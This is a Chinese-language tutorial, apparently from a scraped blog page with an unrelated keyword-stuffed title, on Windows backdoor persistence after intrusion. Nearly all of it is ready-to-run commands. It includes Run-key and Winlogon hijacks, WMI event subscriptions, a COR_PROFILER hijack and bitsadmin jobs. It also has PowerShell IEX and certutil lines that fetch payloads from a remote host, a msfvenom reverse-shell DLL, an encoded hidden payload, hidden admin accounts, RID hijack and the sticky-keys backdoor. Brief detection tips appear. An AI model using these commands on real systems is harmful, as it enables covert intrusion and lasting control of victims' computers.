论坛网站建设价格,wordpress下载的主题不完整,网站建设的颜色值,最近军事动态注册表类#xff1a;
普通注册表后门
在一般用户权限下#xff0c;通常是将要执行的后门程序或脚本路径填写到如下注册表的键值中HKCU\Software\Microsoft\Windows\CurrentVersion\Run#xff0c;键名任意。普通权限即可运行
cmd下操作#xff1a;
reg add HKEY_…注册表类
普通注册表后门
在一般用户权限下通常是将要执行的后门程序或脚本路径填写到如下注册表的键值中HKCU\Software\Microsoft\Windows\CurrentVersion\Run键名任意。普通权限即可运行
cmd下操作
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v Pentestlab /t REG_SZ /d C:\Users\administrator\desktop\pentestlab.exe
powershell下操作
Set-ItemProperty HKCU:\Software\Microsoft\Windows\CurrentVersion\Run\ Pentestlab C:\Users\administrator\desktop\pentestlab.exe -Forc
电脑重启后上线 除了上面的位置之外还有下面的位置可以让我们实现权限维持
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
上面的是针对于用户的注册表下面的这几个是针对本地计算机的注册表
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
添加载荷的方法的自然也和之前的一样了只是所处的位置不同罢了注意service的程序。而防御与检测策略也是比较好做的在这些的注册表的位置查看是否有可疑程序即可。 Winlogon Helper DLL后门 Winlogon是一个Windows组件用来处理各种活动如登录、注销、身份验证期间加载用户配置文件、关闭、锁定屏幕等。这种行为由注册表管理该注册表定义在Windows登录期间启动哪些进程。所以我们可以依靠这个注册表来进行权限维持。
注册表位置如下
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify
其中的userinit与shell主要是来运行exe程序而notify则用来执行dll文件Windows 7之前。
而userinit又可以通过powershell的方式来实现无文件后门用法如下
PS C:\Users\Administrator Set-ItemProperty HKLM:\SOFTWARE\Microsoft\WINDOWS NT\CurrentVersion\Winlogon -name Userinit -value C:\Windows\system32\userinit.exe,powershell.exe -nop -w hidden -c IEX ((new-object net.webclient).downloadstring(http://192.168.31.109:8080/a)) 注意代码引号的转义问题。可以使用反引号绕过。
Logon Scripts后门
注册表路径: HKCU\Environment\
创建字符串键值: UserInitMprLogonScript
cmd下操作
reg add HKCU:\Environment\ /v UserInitMprLogonScript /t REG_SZ /d C:\1.bat
powershell下操作
Set-ItemProperty HKCU:\Environment\ UserInitMprLogonScript C:\1.bat -Force
bat内容如下
powershell.exe -nop -w hidden -c IEX ((new-object net.webclient).downloadstring(http://192.168.31.109:8080/a)) Logon Scripts是优先于很多杀毒软件启动部分杀毒是优先于他启动的所以可以通过这种方式将powershell命令写到bat脚本中达到免杀隐藏启动的效果。
缺点就是需要留文件并不方便。
注册表之CLR
CLR全称为Common Language Runtime公共语言运行库是一个可由多种编程语言使用的运行环境。
要使clr能够劫持系统中全部.net程序需要设置环境变量要是只用命令行可以使用wmi。
直接给出批处理文件
wmic ENVIRONMENT create nameCOR_ENABLE_PROFILING,username%username%,VariableValue1
wmic ENVIRONMENT create nameCOR_PROFILER,username%username%,VariableValue{11111111-1111-1111-1111-111111111111}
certutil.exe -urlcache -split -f yourdll
certutil.exe -urlcache -split -f yourdll delete
SET KEYHKEY_CURRENT_USER\Software\Classes\CLSID\{11111111-1111-1111-1111-111111111111}\InProcServer32
REG.EXE ADD %KEY% /VE /T REG_SZ /D %CD%\msg.dll /F
REG.EXE ADD %KEY% /V ThreadingModel /T REG_SZ /D Apartment /F
x64
wmic ENVIRONMENT create nameCOR_ENABLE_PROFILING,username%username%,VariableValue1
wmic ENVIRONMENT create nameCOR_PROFILER,username%username%,VariableValue{11111111-1111-1111-1111-111111111111}
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg.dll
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg.dll delete
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg_x64.dll
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg_x64.dll delete
SET KEYHKEY_CURRENT_USER\Software\Classes\CLSID\{11111111-1111-1111-1111-111111111111}\InProcServer32
REG.EXE ADD %KEY% /VE /T REG_SZ /D %CD%\msg_x64.dll /F
REG.EXE ADD %KEY% /V ThreadingModel /T REG_SZ /D Apartment /F
SET KEYHKEY_CURRENT_USER\Software\Classes\WoW6432Node\CLSID\{11111111-1111-1111-1111-111111111111}\InProcServer32
REG.EXE ADD %KEY% /VE /T REG_SZ /D %CD%\msg.dll /F
REG.EXE ADD %KEY% /V ThreadingModel /T REG_SZ /D Apartment /F 内部工具类
waitfor.exe
该工具用来同步网络中计算机可以发送或等待系统上的信号。
支持下列操作系统
Windows Server 2003
Windows Vista
Windows XP
Windows Server 2008
Windows 7
Windows Server 2003 with SP2
Windows Server 2003 R2
Windows Server 2008 R2
Windows Server 2000
Windows Server 2012
Windows Server 2003 with SP1
Windows 8
Windows 10
首先新建一个powershell文件内容为
start-process calc.execmd /c waitfor persist powershell -executionpolicy bypass -file c:\test\1.ps1
然后开启等待
waitfor persist1 powershell -executionpolicy bypass -file c:\test\1.ps1
另一个cmd
waitfor /s 127.0.0.1 /si persist1
即可成功调用cmd。
注意低版本powershell会报错 或者使用三好学生师傅的脚本
#A quick POC to use Waitfor.exe to maintain persistenceAuthor: 3gstudent 3gstudentLearn from:https://twitter.com/danielhbohannon/status/872258924078092288
#
$StaticClass New-Object Management.ManagementClass(root\cimv2, $null,$null)
$StaticClass.Name Win32_Backdoor
$StaticClass.Put()| Out-Null
$StaticClass.Properties.Add(Code , cmd /c start calc.exe taskkill /f /im powershell.exe waitfor persist powershell -nop -W Hidden -E JABlAHgAZQBjAD0AKABbAFcAbQBpAEMAbABhAHMAcwBdACAAJwBXAGkAbgAzADIAXwBCAGEAYwBrAGQAbwBvAHIAJwApAC4AUAByAG8AcABlAHIAdABpAGUAcwBbACcAQwBvAGQAZQAnAF0ALgBWAGEAbAB1AGUAOwAgAGkAZQB4ACAAJABlAHgAZQBjAA)
$StaticClass.Put() | Out-Null$exec([WmiClass] Win32_Backdoor).Properties[Code].Value;
iex $exec | Out-Null
然后使用下面的方式开启
powershell -executionpolicy bypass .\test.ps1
waitfor /s 127.0.0.1 /si persist
即可看到效果。 bitsadmin
win7之后进行上传下载的工具。
利用方法如下
PS C:\Users\Administrator bitsadmin /create backdoor
PS C:\Users\Administrator bitsadmin /addfile backdoor c:\windows\system32\calc.exe c:\Users\administrator\Desktop\calc.exe
PS C:\Users\Administrator bitsadmin.exe /SetNotifyCmdLine backdoor regsvr32.exe /u /s /i:http://192.168.31.109/calc.sct scrobj.dll
PS C:\Users\Administrator bitsadmin /Resume backdoor 当然换成msf的sct也就可以上线了。白名单运行程序不仅仅只有regsvr32还有别的很多可以去查下资料
可以使用下面的方法进行检测
PS C:\Users\Administrator bitsadmin /list /verbose msdtc加载后门
msdtc.exe 存在于组环境和域环境中,是微软的一个分布式事物处理协调器服务。要求处于工作组或者域环境内。 因为他在启动时会默认加载oci.dllSQLLib80.dll和xa80.dll。Windows系统默认不包含oci.dll。
我们将后门dll将其重命名为oci.dll并将其放置在%SystemRoot%\system32\中那么重启时就会加载我们的dll然后得到一个session。
注意dll版本要根据目标机器的位数来生成。
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST192.168.31.109 LPORT4444 -f dll oci.dllcmd或powershell下执行
taskkill /f /im msdtc.exe
net start msdtc
即可获得会话。 wmi执行后门技术
WMI可以描述为一组管理Windows系统的方法和功能。我们可以把它当作API来与Windows系统进行相互交流。WMI在渗透测试中的价值在于它不需要下载和安装 因为WMI是Windows系统自带功能。而且整个运行过程都在计算机内存中发生不会留下任何痕迹。
在使用wmi进行权限维持的时候我们一般用到下面的三个类
__EventFilter
EventConsumer
__FilterToConsumerBinding
下面我们看下他的利用方式首先是mof。
msf先生成一个web的监听然后使用msf生成文件。
irbputs generate_mof(Metasploit1,regsvr32 /s /n /u /i:http://192.168.31.109:8080/RjdtuMLURHfkH.sct scrobj.dll) 然后编译mof
mofcomp.exe .\Metasploit.mof 即可得到会话。第二种方式就是使用wmi事件。
命令如下
wmic /NAMESPACE:\\root\subscription PATH __EventFilter CREATE NamePentestLab, EventNameSpaceroot\cimv2,QueryLanguageWQL, QuerySELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA Win32_PerfFormattedData_PerfOS_System
wmic /NAMESPACE:\\root\subscription PATH CommandLineEventConsumer CREATE NamePentestLab, ExecutablePathC:\users\administrator\desktop\msf.exe,CommandLineTemplateC:\users\administrator\desktop\msf.exe
wmic /NAMESPACE:\\root\subscription PATH __FilterToConsumerBinding CREATE Filter__EventFilter.Name\PentestLab\, ConsumerCommandLineEventConsumer.Name\PentestLab\
然后重启电脑60s后反弹会话。 powershell版本
$FilterArgs {namePentestlab-WMI;EventNameSpaceroot\CimV2;QueryLanguageWQL;QuerySELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA Win32_PerfFormattedData_PerfOS_System AND TargetInstance.SystemUpTime 240 AND TargetInstance.SystemUpTime 325};
$FilterNew-CimInstance -Namespace root/subscription -ClassName __EventFilter -Property $FilterArgs$ConsumerArgs {namePentestlab-WMI;CommandLineTemplate$($Env:SystemRoot)\System32\pentestlab.exe;}
$ConsumerNew-CimInstance -Namespace root/subscription -ClassName CommandLineEventConsumer -Property $ConsumerArgs$FilterToConsumerArgs {
Filter [Ref] $Filter;
Consumer [Ref] $Consumer;
}
$FilterToConsumerBinding New-CimInstance -Namespace root/subscription -ClassName __FilterToConsumerBinding -Property $FilterToConsumerArgs
如果想要删除的话可以使用下面的命令
$EventConsumerToCleanup Get-WmiObject -Namespace root/subscription -Class CommandLineEventConsumer -Filter Name Pentestlab-WMI
$EventFilterToCleanup Get-WmiObject -Namespace root/subscription -Class __EventFilter -Filter Name Pentestlab-WMI
$FilterConsumerBindingToCleanup Get-WmiObject -Namespace root/subscription -Query REFERENCES OF {$($EventConsumerToCleanup.__RELPATH)} WHERE ResultClass __FilterToConsumerBinding$FilterConsumerBindingToCleanup | Remove-WmiObject
$EventConsumerToCleanup | Remove-WmiObject
$EventFilterToCleanup | Remove-WmiObject
powershell版本的也可以直接使用别人写好的脚本https://github.com/n0pe-sled/WMI-Persistence/blob/master/WMI-Persistence.ps1
当然以下工具都具有该功能Empire、SharpSploit、PoshC2、PowerLurk、WMIPersist、
而对于此类攻击的检测就查看上面所说的那三种类就可以了。
#List Event Filters
Get-WMIObject -Namespace root\Subscription -Class __EventFilter#List Event Consumers
Get-WMIObject -Namespace root\Subscription -Class __EventConsumer#List Event Bindings
Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding 且能发现木马的踪迹 计划任务
经典中的经典。
schtasks.exe /Create /TN update /TR xx(你要执行的命令) /SC ONLOGON /F /RL HIGHEST
demo
C:\Users\Administratorschtasks /create /sc minute /mo 1 /tn chrome /tr wscript.exe C:\users\Administrator\Desktop\msf.vbs 或者使用powershell无文件加载也是可以的。
WinRM服务后门
基本原理是使用Windows 的远程管理管理服务WinRM组合HTTP.sys驱动自带的端口复用功能一起实现正向的端口复用后门。后门连接是需要目标服务器的高权用户的明文密码的需要先抓取相应的明文密码才可部署后门。
下面是部署方法
winrm set winrm/config/service {EnableCompatibilityHttpListenertrue} //开启监听
winrm set winrm/config/Listener?Address*TransportHTTP {Port80} //更改wimrm的端口防止被怀疑 查看状态
winrm e winrm/config/listener 然后链接后门本地做如下设置
winrm quickconfig -q
winrm set winrm/config/Client {TrustedHosts*}
然后连接后门获得cmd环境。
C:\Users\Administratorwinrs -r:http://192.168.31.94 -u:administrator -p:abc123! cmd
如果是非管理员用户用下面的方法修改注册表即可。
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
修改系统服务
使用sc制作权限维持
#创建Fax传真服务并设置为自启动
sc create Fax binPath C:\123123.exe start auto obj LocalSystem
#增加服务描述
sc descrīption Fax
#启动
sc start Fax 重启获得会话。 记得监听添加下面的参数防止假死
set autorunscript migrate -f
dll劫持
这个看个人的思路以及编码能力了比如劫持个安全狗 远程登录类
影子账户、克隆账户、激活guest
net user test$ 123456 /addnet localgroup administrators test$ /add net user guest /active:yes
net user guest 1234
net localgroup administrators guest /add
rid_hijack
通过劫持有效帐户的RID来在注册表中进行修改以使Guest帐户成为管理员
msf5 post(windows/manage/rid_hijack) set session 5
session 5
msf5 post(windows/manage/rid_hijack) set getsystem true
getsystem true
msf5 post(windows/manage/rid_hijack) set guest_account true
guest_account true
msf5 post(windows/manage/rid_hijack) set password 123!ASQs
password 123!ASQs
msf5 post(windows/manage/rid_hijack) exploit 然后impacket链接 shift后门
C:\Windows\System32\sethc.exe 粘滞键启动快捷键按五次shift键
C:\Windows\System32\utilman.exe 设置中心启动快捷键WindowsU键
cd c:\Windows\System32
move sethc.exe sethc.exe.bak
copy cmd.exe sethc.exe
高版本的话就映像劫持吧。